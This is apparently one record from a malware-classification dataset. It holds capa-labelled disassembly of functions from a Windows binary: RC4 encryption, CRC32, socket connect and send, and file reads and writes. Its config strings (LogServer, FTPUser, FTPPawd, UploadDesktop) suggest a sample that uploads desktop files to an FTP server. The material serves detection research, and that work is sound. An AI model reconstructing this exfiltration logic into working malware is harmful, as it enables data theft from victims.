joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400238c0
Capabilities:
Accept command line arguments
Create thread

Disassembly:
sub rsp, 0x28
lea rdx, [0x1400a08a8]
xor ecx, ecx
call fcn.14006c40c
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
lea rdx, [0x1400a1a28]
call fcn.14003a760
test rax, rax
je 0x1400238f5
add rsp, 0x28
jmp 0x140023c2c
xor r8d, r8d
lea rcx, [0x140023910]
xor edx, edx
call fcn.1400604a4
xor eax, eax
add rsp, 0x28
ret
sub rsp, 0x28
lea rcx, [0x1400a1148]
call fcn.140012fec
lea rcx, [0x1400a1188]
call fcn.140012fec
lea rcx, str.__SaveDir:
call fcn.140012fec
lea rcx, str.__DrvName:
call fcn.140012fec
lea rcx, str.__LogServer:
call fcn.140012fec
lea rcx, str.__FTPPort:
call fcn.140012fec
lea rcx, str.__FTPUser:
call fcn.140012fec
lea rcx, str.__FTPPawd:
call fcn.140012fec
lea rcx, str.__FTPSave:
call fcn.140012fec
lea rcx, str.__RunTime:
call fcn.140012fec
lea rcx, str.__Altitude:
call fcn.140012fec
lea rcx, str.__UPDriver:
call fcn.140012fec
lea rcx, str.__UPToFTP:
call fcn.140012fec
lea rcx, str.__Debug:
call fcn.140012fec
lea rcx, str.__UploadDesktop:
call fcn.140012fec
lea rcx, str.__RTQuit:
call fcn.140012fec
lea rcx, [0x1400a14d8]
call fcn.140012fec
lea rcx, [0x1400a1148]
call fcn.140012fec
xor eax, eax
add rsp, 0x28
ret
Function at 0x140024834
Capabilities:
Encrypt data using rc4 prga

Disassembly:
test r8d, r8d
je 0x1400248c3
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
xor r9d, r9d
mov edi, r8d
mov r10d, r9d
mov rbx, rdx
mov r11, rcx
inc r9d
and r9d, 0x800000ff
jge 0x14002486f
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rdx, r9d
movzx r8d, byte [rdx + r11]
add r10d, r8d
and r10d, 0x800000ff
jge 0x140024890
dec r10d
or r10d, 0xffffff00
inc r10d
movsxd rcx, r10d
mov al, byte [rcx + r11]
mov byte [rdx + r11], al
mov byte [rcx + r11], r8b
movzx ecx, byte [rdx + r11]
add rcx, r8
movzx eax, cl
mov cl, byte [rax + r11]
xor byte [rbx], cl
inc rbx
sub rdi, 1
jne 0x140024856
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret

Function at 0x1400248c4
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
xor r9d, r9d
mov edi, r8d
mov eax, r9d
mov rsi, rdx
mov r11, rcx
mov r10, rcx
mov byte [r10], al
inc eax
inc r10
cmp eax, 0x100
jl 0x1400248e5
mov r8d, r9d
mov r10, r11
movzx ebx, byte [r10]
xor edx, edx
mov eax, r8d
div edi
movzx eax, byte [rdx + rsi]
add r9d, eax
add r9d, ebx
and r9d, 0x800000ff
jge 0x140024925
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rcx, r9d
inc r8d
mov al, byte [rcx + r11]
mov byte [r10], al
inc r10
mov byte [rcx + r11], bl
cmp r8d, 0x100
jl 0x1400248fa
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret

Function at 0x140024954
Capabilities:
Create thread

Disassembly:
sub rsp, 0x28
xor r8d, r8d
lea rcx, [0x140024974]
xor edx, edx
call fcn.1400604a4
mov eax, 1
add rsp, 0x28
ret

Function at 0x140025efc
Capabilities:
Create thread

Disassembly:
sub rsp, 0x28
cmp dword [0x1400c41d0], 0
je 0x140025f2b
xor r8d, r8d
lea rcx, [0x140025f38]
xor edx, edx
call fcn.1400604a4
xor r8d, r8d
lea rcx, [0x140025f84]
xor edx, edx
call fcn.1400604a4
mov eax, 1
add rsp, 0x28
ret
Function at 0x140026878
Capabilities:
Connect socket
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp dword [rcx + 0x1c], 0
movzx edi, r8w
mov rsi, rdx
mov rbx, rcx
je 0x1400268a6
mov eax, 1
jmp 0x140026968
xor r8d, r8d
lea edx, [r8 + 1]
lea ebp, [rdx + 1]
mov ecx, ebp
call sub.WSOCK32.dll_socket
mov qword [rbx + 0x10], rax
cmp rax, 0xffffffffffffffff
jne 0x1400268e7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x276d
jne 0x1400268e7
mov rcx, rbx
call fcn.140026b20
xor r8d, r8d
lea edx, [rbp - 1]
mov ecx, ebp
call sub.WSOCK32.dll_socket
mov qword [rbx + 0x10], rax
mov rcx, rsi
call sub.WSOCK32.dll_inet_addr
xor ecx, ecx
mov dword [rbx + 8], eax
mov qword [rsp + 0x32], rcx
mov dword [rsp + 0x3a], ecx
mov word [rsp + 0x3e], cx
movzx ecx, di
mov word [rbx + 0xc], di
mov dword [rsp + 0x34], eax
mov word [rsp + 0x30], bp
call sub.WSOCK32.dll_htons
mov rcx, qword [rbx + 0x10]
lea rdx, [rsp + 0x30]
mov r8d, reloc.WSOCK32.dll_recv
mov word [rsp + 0x32], ax
call sub.WSOCK32.dll_connect
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [rbx + 0x1c], ecx
test ecx, ecx
je 0x140026965
lea r9, [rbx + 0x20]
cmp dword [r9], 0
jbe 0x140026965
mov rcx, qword [rbx + 0x10]
mov edx, 0xffff
mov r8d, 0x1006
mov dword [rsp + 0x20], 4
call sub.WSOCK32.dll_setsockopt
mov eax, dword [rbx + 0x1c]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140026af4
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
cmp dword [rcx + 0x1c], ebx
jne 0x140026b05
xor eax, eax
jmp 0x140026b19
mov rcx, qword [rcx + 0x10]
xor r9d, r9d
call sub.WSOCK32.dll_send
cmp eax, 0xffffffff
setne bl
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x140026b20
Capabilities:
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x1c0
and dword [rcx + 0x18], 0
lea rdx, [rsp + 0x20]
mov rbx, rcx
mov ecx, 0x202
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x140026b63
movzx eax, word [rsp + 0x20]
cmp al, 2
jne 0x140026b5e
shr ax, 8
cmp al, 2
jne 0x140026b5e
mov eax, 1
mov dword [rbx + 0x18], eax
jmp 0x140026b65
call sub.WSOCK32.dll_WSACleanup
xor eax, eax
add rsp, 0x1c0
pop rbx
ret

Function at 0x140026b70
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1c8
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x140026ba7
movzx eax, word [rsp + 0x20]
cmp al, 2
jne 0x140026ba2
shr ax, 8
cmp al, 2
jne 0x140026ba2
mov eax, 1
jmp 0x140026ba9
call sub.WSOCK32.dll_WSACleanup
xor eax, eax
add rsp, 0x1c8
ret
Function at 0x140026c88
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x240
mov rdi, rdx
mov rbx, rcx
test rcx, rcx
je 0x140026cbb
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140026cbb
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [rdi]
test al, al
je 0x140026d53
mov rsi, rdi
mov rcx, rdi
cmp al, 0x2f
je 0x140026cd3
cmp al, 0x5c
jne 0x140026cd6
mov rsi, rcx
inc rcx
mov al, byte [rcx]
test al, al
jne 0x140026ccb
cmp rsi, rdi
je 0x140026d12
sub rsi, rdi
lea rcx, [rsp + 0x130]
mov r8, rsi
mov rdx, rdi
call fcn.14003a170
lea rdx, [rsp + 0x130]
mov byte [rsp + rsi + 0x130], 0
mov rcx, rbx
call fcn.140026c88
mov byte [rsp + 0x20], 0
test rbx, rbx
je 0x140026d29
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.140060710
mov rdx, rdi
lea rcx, [rsp + 0x20]
call fcn.140060670
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140026d53
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x1400275dc
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
cmp qword [rcx], 0
mov esi, r9d
mov r14d, r8d
mov rbp, rdx
mov rbx, rcx
jne 0x1400276a7
cmp dword [rcx + 8], 0xffffffff
jne 0x1400276a7
lea rdi, [rcx + 0x150]
mov ecx, 0x104
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov rcx, rdi
call fcn.140045e50
mov cl, byte [rax + rbx + 0x14f]
cmp cl, 0x5c
je 0x14002764b
cmp cl, 0x2f
je 0x14002764b
lea rdx, [0x14009db0c]
mov rcx, rdi
call fcn.140060670
mov r9d, 1
cmp esi, r9d
jne 0x140027670
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x140027670
mov eax, 0x2000000
jmp 0x1400276ac
lea r9, [rsp + 0x40]
mov r8d, esi
mov edx, r14d
mov rcx, rbp
call fcn.140029fa4
test rax, rax
jne 0x14002768e
mov eax, dword [rsp + 0x40]
jmp 0x1400276ac
mov rcx, rax
call fcn.14002a94c
mov qword [rbx], rax
neg rax
sbb eax, eax
not eax
and eax, 0x200
jmp 0x1400276ac
mov eax, 0x1000000
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x14002a0dc
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
mov rsi, r8
mov rdi, r9
imul esi, edx
mov rbp, rdx
cmp byte [r9], 0
mov r10, rcx
je 0x14002a12c
and qword [rax - 0x18], 0
lea r9, [rax + 0x10]
mov rdx, rcx
mov r8d, esi
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14002a126
mov byte [rdi + 0x10], 1
mov eax, dword [rsp + 0x48]
jmp 0x14002a153
mov edx, dword [r9 + 0x2c]
mov ecx, dword [r9 + 0x28]
lea eax, [rdx + rsi]
cmp eax, ecx
jbe 0x14002a13f
sub ecx, edx
mov esi, ecx
add rdx, qword [r9 + 0x20]
mov rcx, r10
mov r8d, esi
call fcn.14003a170
add dword [rdi + 0x2c], esi
mov eax, esi
mov rbx, qword [rsp + 0x40]
xor edx, edx
mov rsi, qword [rsp + 0x58]
div rbp
mov rbp, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x14002a29c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov r10, rdx
mov r9d, ecx
test rdx, rdx
jne 0x14002a2b5
xor eax, eax
jmp 0x14002a326
lea rdi, [0x1400a2750]
not r9d
cmp r8d, 8
jb 0x14002a2fb
mov r11d, r8d
shr r11, 3
mov ebx, 8
movzx ecx, byte [r10]
mov eax, r9d
xor rcx, rax
inc r10
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
sub rbx, 1
jne 0x14002a2d1
add r8d, 0xfffffff8
sub r11, 1
jne 0x14002a2cc
test r8d, r8d
je 0x14002a320
movzx ecx, byte [r10]
mov eax, r9d
xor rcx, rax
inc r10
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
add r8d, 0xffffffff
jne 0x14002a300
not r9d
mov eax, r9d
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret
Function at 0x14002a754
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x20
mov rsi, rdx
mov rdi, rcx
test rcx, rcx
jne 0x14002a771
mov eax, 0xffffff9a
jmp 0x14002a941
cmp dword [rcx + 0x1c], 0
je 0x14002a767
cmp qword [rcx + 0x80], 0
je 0x14002a786
call fcn.14002a370
lea r9, [rsp + 0x50]
mov rcx, rdi
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x58]
call fcn.14002adc4
test eax, eax
je 0x14002a7ab
mov eax, 0xffffff99
jmp 0x14002a941
mov ecx, 0xb0
call fcn.1400607d0
mov rbx, rax
test rax, rax
jne 0x14002a7c7
mov eax, 0xffffff98
jmp 0x14002a941
mov ecx, 0x4000
call fcn.1400607d0
mov ecx, dword [rsp + 0x40]
and dword [rbx + 0x70], 0
mov dword [rbx + 0x68], ecx
mov ecx, dword [rsp + 0x50]
mov dword [rbx + 0x6c], ecx
mov qword [rbx], rax
test rax, rax
jne 0x14002a7f5
mov rcx, rbx
call fcn.1400607c8
jmp 0x14002a7bd
and dword [rbx + 0x64], 0
mov eax, dword [rdi + 0x40]
mov ecx, dword [rdi + 0x38]
and dword [rbx + 0x74], 0
mov dword [rbx + 0x78], eax
mov eax, dword [rdi + 0x38]
mov dword [rbx + 0x90], eax
mov rax, qword [rdi]
mov qword [rbx + 0x88], rax
mov eax, dword [rdi + 0x10]
and dword [rbx + 0x24], 0
mov dword [rbx + 0x94], eax
test ecx, ecx
je 0x14002a84d
and qword [rbx + 0x38], 0
lea rcx, [rbx + 8]
and qword [rbx + 0x40], 0
and qword [rbx + 0x48], 0
call fcn.140028718
test eax, eax
jne 0x14002a84d
mov dword [rbx + 0x64], 1
mov eax, dword [rdi + 0x44]
mov dword [rbx + 0x7c], eax
mov eax, dword [rdi + 0x48]
mov dword [rbx + 0x80], eax
mov al, byte [rdi + 0x34]
and al, 1
mov byte [rbx + 0x98], al
mov eax, dword [rdi + 0x34]
shr eax, 3
test al, 1
je 0x14002a876
mov al, byte [rdi + 0x3d]
jmp 0x14002a879
mov al, byte [rdi + 0x43]
mov byte [rbx + 0xac], al
mov al, byte [rbx + 0x98]
neg al
sbb ecx, ecx
and ecx, 0xc
mov dword [rbx + 0xa8], ecx
mov dword [rbx + 0x9c], 0x12345678
mov dword [rbx + 0xa0], 0x23456789
mov dword [rbx + 0xa4], 0x34567890
test rsi, rsi
je 0x14002a925
lea r8, [0x1400a2750]
cmp byte [rsi], 0
je 0x14002a925
movsx rax, byte [rsi]
mov ecx, dword [rbx + 0x9c]
xor rcx, rax
mov eax, dword [rbx + 0x9c]
movzx edx, cl
shr eax, 8
mov ecx, dword [r8 + rdx*4]
mov edx, dword [rbx + 0xa4]
xor ecx, eax
movzx eax, cl
add eax, dword [rbx + 0xa0]
mov dword [rbx + 0x9c], ecx
imul ecx, eax, 0x8088405
inc ecx
mov dword [rbx + 0xa0], ecx
movzx eax, byte [rbx + 0xa3]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov eax, dword [r8 + rcx*4]
xor eax, edx
mov dword [rbx + 0xa4], eax
add rsi, 1
jne 0x14002a8bc
mov ecx, dword [rdi + 0x7c]
and dword [rbx + 0x10], 0
mov eax, dword [rsp + 0x58]
add eax, 0x1e
add ecx, eax
mov dword [rbx + 0x60], ecx
xor eax, eax
mov qword [rdi + 0x80], rbx
add rsp, 0x20
pop rdi
pop rsi
pop rbx
ret
Function at 0x14002b5f4
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov r9d, dword [rcx + 8]
mov r10, rcx
mov r8d, r9d
mov r11b, dl
mov edx, dword [rcx]
and r8d, 0xfffd
or r8d, 2
mov ecx, edx
mov eax, r8d
shr edx, 8
xor eax, 1
imul eax, r8d
lea r8, [0x1400a2750]
shr eax, 8
xor r11b, al
movsx rax, r11b
xor rcx, rax
movzx eax, cl
mov ecx, dword [r8 + rax*4]
xor ecx, edx
movzx eax, cl
add eax, dword [r10 + 4]
mov dword [r10], ecx
imul ecx, eax, 0x8088405
inc ecx
mov dword [r10 + 4], ecx
movzx eax, byte [r10 + 7]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, dword [r8 + rcx*4]
xor eax, r9d
mov dword [r10 + 8], eax
mov al, r11b
ret
Function at 0x14002cb78
Capabilities:
Create thread

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400c52d0]
mov rcx, qword [rax + 8]
sub rcx, qword [rax]
test rcx, 0xffffffffffffffc0
je 0x14002cbab
and dword [0x1400c52c0], 0
lea rcx, [0x14002ca04]
xor r8d, r8d
xor edx, edx
call fcn.1400604a4
add rsp, 0x28
ret
Function at 0x14002da18
Capabilities:
Get memory capacity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
xor r8d, r8d
mov dword [rbp - 0x40], 0x40
lea rdx, [0x14009d610]
mov rdi, rcx
call fcn.140004d8c
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor ebx, ebx
test eax, eax
je 0x14002dac9
mov rcx, qword [rbp - 0x38]
xor eax, eax
shr rcx, 0x1e
mov qword [rbp - 0x5f], rax
mov qword [rbp - 0x57], rax
mov qword [rbp - 0x4f], rax
mov dword [rbp - 0x47], eax
mov word [rbp - 0x43], ax
mov byte [rbp - 0x41], al
mov eax, ecx
mov byte [rbp - 0x60], bl
and eax, 0x80000001
jge 0x14002da89
dec eax
or eax, 0xfffffffe
inc eax
lea r8d, [rcx + 1]
cmp eax, 1
lea rdx, str._dGB
cmovne r8d, ecx
lea rcx, [rbp - 0x60]
call fcn.1400055a4
cmp byte [rbp - 0x60], bl
je 0x14002dab5
lea rcx, [rbp - 0x60]
call fcn.140045e50
mov rbx, rax
mov r8, rbx
lea rdx, [rbp - 0x60]
mov rcx, rdi
call fcn.140004d8c
mov eax, 1
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140032460
Capabilities:
Create thread

Disassembly:
sub rsp, 0x28
cmp dword [0x1400c5308], 0
je 0x140032487
call fcn.140016e20
test eax, eax
jne 0x140032487
xor r8d, r8d
lea rcx, [0x140032494]
xor edx, edx
call fcn.1400604a4
mov eax, 1
add rsp, 0x28
ret
Function at 0x14003340c
Capabilities:
Get file size
Parse pe header
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov r15, rdx
mov r12, r9
lea rdx, [rbp - 0x40]
mov r14, r8
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x140033452
mov eax, 0x200
jmp 0x14003364a
mov r8d, dword [rbp - 0x40]
mov eax, r8d
mov r9d, r8d
and r9d, 1
mov ecx, r9d
or ecx, 2
and al, 2
mov eax, r8d
cmove ecx, r9d
mov edx, ecx
or edx, 4
and al, 4
cmove edx, ecx
mov ecx, r8d
mov eax, edx
or eax, 0x10
and ecx, 0x10
cmove eax, edx
mov edx, eax
or edx, 0x20
and r8b, 0x20
cmove edx, eax
test ecx, ecx
je 0x14003349d
bts edx, 0x1e
jmp 0x1400334a1
bts edx, 0x1f
bts edx, 0x18
mov rcx, rdi
mov ebx, edx
bts ebx, 0x17
test r9d, r9d
cmovne ebx, edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov ecx, ebx
cmp eax, 0x28
jbe 0x140033591
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rbp - 0x48]
mov r8d, 2
lea rdx, [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
lea edx, [r9 + 0x24]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rbp - 0x48]
mov r8d, 4
lea rdx, [rbp - 0x4c]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, 0x54ad
mov ecx, ebx
cmp word [rbp - 0x50], ax
jne 0x140033591
mov edx, dword [rbp - 0x4c]
lea eax, [rdx + 0x34]
cmp esi, eax
jbe 0x140033591
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rbp - 0x48]
mov r8d, 4
lea rdx, [rbp - 0x44]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rbp - 0x44]
cmp eax, 0x5a4d
je 0x14003358b
cmp eax, 0x454e
je 0x14003358b
cmp eax, 0x454c
je 0x14003358b
mov ecx, ebx
cmp eax, 0x4550
jne 0x140033591
mov ecx, ebx
bts ecx, 0x16
test r15, r15
je 0x140033599
mov dword [r15], ecx
test r14, r14
je 0x1400335a1
mov dword [r14], esi
mov rcx, qword [rbp - 0x2c]
test r12, r12
je 0x140033623
mov r8, qword [rbp - 0x34]
movabs r10, 0xfe624e212ac18000
add r8, r10
movabs r9, 0xd6bf94d5e57a42bd
mov rax, r9
imul r8
add rdx, r8
lea r8, [rcx + r10]
sar rdx, 0x17
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r9
mov qword [r12], rdx
imul r8
mov rax, r9
add rdx, r8
sar rdx, 0x17
mov r8, rdx
shr r8, 0x3f
add rdx, r8
mov r8, qword [rbp - 0x3c]
mov qword [r12 + 8], rdx
add r8, r10
imul r8
add rdx, r8
sar rdx, 0x17
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [r12 + 0x10], rdx
mov rbx, qword [rbp + 0x40]
test rbx, rbx
je 0x140033648
lea r8, [rbp - 0x4c]
lea rdx, [rbp - 0x50]
call fcn.140034ad4
movzx ecx, word [rbp - 0x50]
movzx eax, word [rbp - 0x4c]
shl ecx, 0x10
or ecx, eax
mov dword [rbx], ecx
xor eax, eax
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140033fb4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov r11, rdx
mov r9d, ecx
test rdx, rdx
jne 0x140033fcd
xor eax, eax
jmp 0x140034041
lea rdi, [0x1400a5490]
not r9d
cmp r8, 8
jb 0x140034016
mov r10, r8
shr r10, 3
imul rax, r10, 0xfffffffffffffff8
add r8, rax
mov ebx, 8
movzx ecx, byte [r11]
mov eax, r9d
xor rcx, rax
inc r11
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
sub rbx, 1
jne 0x140033ff0
sub r10, 1
jne 0x140033feb
test r8, r8
je 0x14003403b
movzx ecx, byte [r11]
mov eax, r9d
xor rcx, rax
inc r11
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
sub r8, 1
jne 0x14003401b
not r9d
mov eax, r9d
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret

Function at 0x140035500
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rbp, edx
mov rsi, r8
mov rbx, rcx
lea eax, [rbp - 1]
cmp eax, 7
jbe 0x140035538
lea rax, str.bad_pack_level
mov qword [rcx + 0x6aff0], rax
xor edi, edi
mov dword [rcx + 0x6afc0], edi
cmp dword [rcx + 0x6afb8], edi
jne 0x14003555c
mov dword [rcx + 0x6afc0], 1
mov dword [rcx + 0x6afb8], 0x10000
mov dword [rcx + 0x6afb4], edi
xor edx, edx
add rcx, 0x4afb8
mov r8d, 0x1fffc
call fcn.14003a5c0
lea rdx, [0x1400a5420]
mov r14d, 2
movzx eax, word [rdx + rbp*8 + 2]
mov dword [rbx + 0x6afe0], eax
movzx eax, word [rdx + rbp*8]
mov dword [rbx + 0x6afe4], eax
movzx eax, word [rdx + rbp*8 + 4]
mov dword [rbx + 0x6afe8], eax
movzx eax, word [rdx + rbp*8 + 6]
mov dword [rbx + 0x6afdc], eax
cmp ebp, r14d
jg 0x1400355b9
or word [rsi], 4
jmp 0x1400355c2
cmp ebp, 8
jl 0x1400355c2
or word [rsi], r14w
lea rsi, [rbx + 0x1afb8]
mov dword [rbx + 0x6afcc], edi
mov rdx, rsi
mov dword [rbx + 0x6afbc], edi
mov r8d, 0x10000
mov rcx, rbx
call qword [rbx + reloc.WSOCK32.dll_recv]
mov dword [rbx + 0x6afd8], eax
lea ecx, [rax - 1]
cmp ecx, 0xfffffffd
ja 0x14003562c
mov dword [rbx + 0x6afd4], edi
cmp eax, 0x106
jae 0x140035607
mov rcx, rbx
call fcn.140034b88
mov dword [rbx + 0x6afc4], edi
movzx eax, byte [rsi]
inc rsi
shl edi, 5
xor edi, eax
and edi, 0x7fff
mov dword [rbx + 0x6afc4], edi
sub r14, 1
jne 0x14003560d
jmp 0x140035637
mov qword [rbx + 0x6afd4], 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140036774
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rbp, rdx
mov rcx, qword [rcx + 0xb8]
test rcx, rcx
je 0x1400367ed
mov eax, dword [rdi + 0xc4]
mov esi, dword [rdi + 0xc0]
cmp eax, esi
jae 0x14003683a
sub esi, eax
lea rdx, [rcx + rax]
cmp esi, r8d
mov rcx, rbp
cmova esi, r8d
mov r8d, esi
call fcn.14003a170
mov ecx, dword [rdi + 0xa0]
mov rdx, rbp
add dword [rdi + 0xc4], esi
add dword [rdi + 0x9c], esi
mov r8d, esi
call fcn.140033fb4
mov dword [rdi + 0xa0], eax
mov eax, esi
jmp 0x14003683c
mov rcx, qword [rdi + 0xa8]
test rcx, rcx
je 0x140036833
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14003683a
mov ebx, dword [rsp + 0x40]
mov rdx, rbp
add dword [rdi + 0x9c], ebx
mov r8d, ebx
mov ecx, dword [rdi + 0xa0]
call fcn.140033fb4
mov dword [rdi + 0xa0], eax
mov eax, ebx
jmp 0x14003683c
mov dword [rdi + 0x24], 0x1000000
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x140036e68
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
cmp byte [rcx + 0x41], 0
mov rsi, rdx
mov edi, r8d
mov rbx, rcx
je 0x140036ef3
mov rcx, qword [rcx + 0x50]
test rcx, rcx
je 0x140036ea1
cmp dword [rbx + 0x58], edi
jae 0x140036ea1
call fcn.1400383d4
and qword [rbx + 0x50], 0
cmp qword [rbx + 0x50], 0
jne 0x140036eb7
lea ecx, [rdi + rdi]
call fcn.140037e70
mov qword [rbx + 0x50], rax
mov dword [rbx + 0x58], edi
mov rcx, qword [rbx + 0x50]
mov r8, rdi
mov rdx, rsi
mov rbp, rdi
call fcn.14003a170
test edi, edi
je 0x140036eef
xor esi, esi
mov rax, qword [rbx + 0x50]
lea rcx, [rbx + 0x44]
mov dl, byte [rsi + rax]
call fcn.140036f68
mov rcx, qword [rbx + 0x50]
mov byte [rsi + rcx], al
inc rsi
sub rbp, 1
jne 0x140036ecf
mov rsi, qword [rbx + 0x50]
cmp qword [rbx + 0x30], 0
je 0x140036f24
mov ecx, dword [rbx + 0x38]
lea eax, [rcx + rdi]
cmp eax, dword [rbx + 0x3c]
jb 0x140036f0e
mov dword [rbx + 0x24], 0x30000
jmp 0x140036f51
add rcx, qword [rbx + 0x30]
mov r8, rdi
mov rdx, rsi
call fcn.14003a170
add dword [rbx + 0x38], edi
mov eax, edi
jmp 0x140036f53
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140036f4a
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, edi
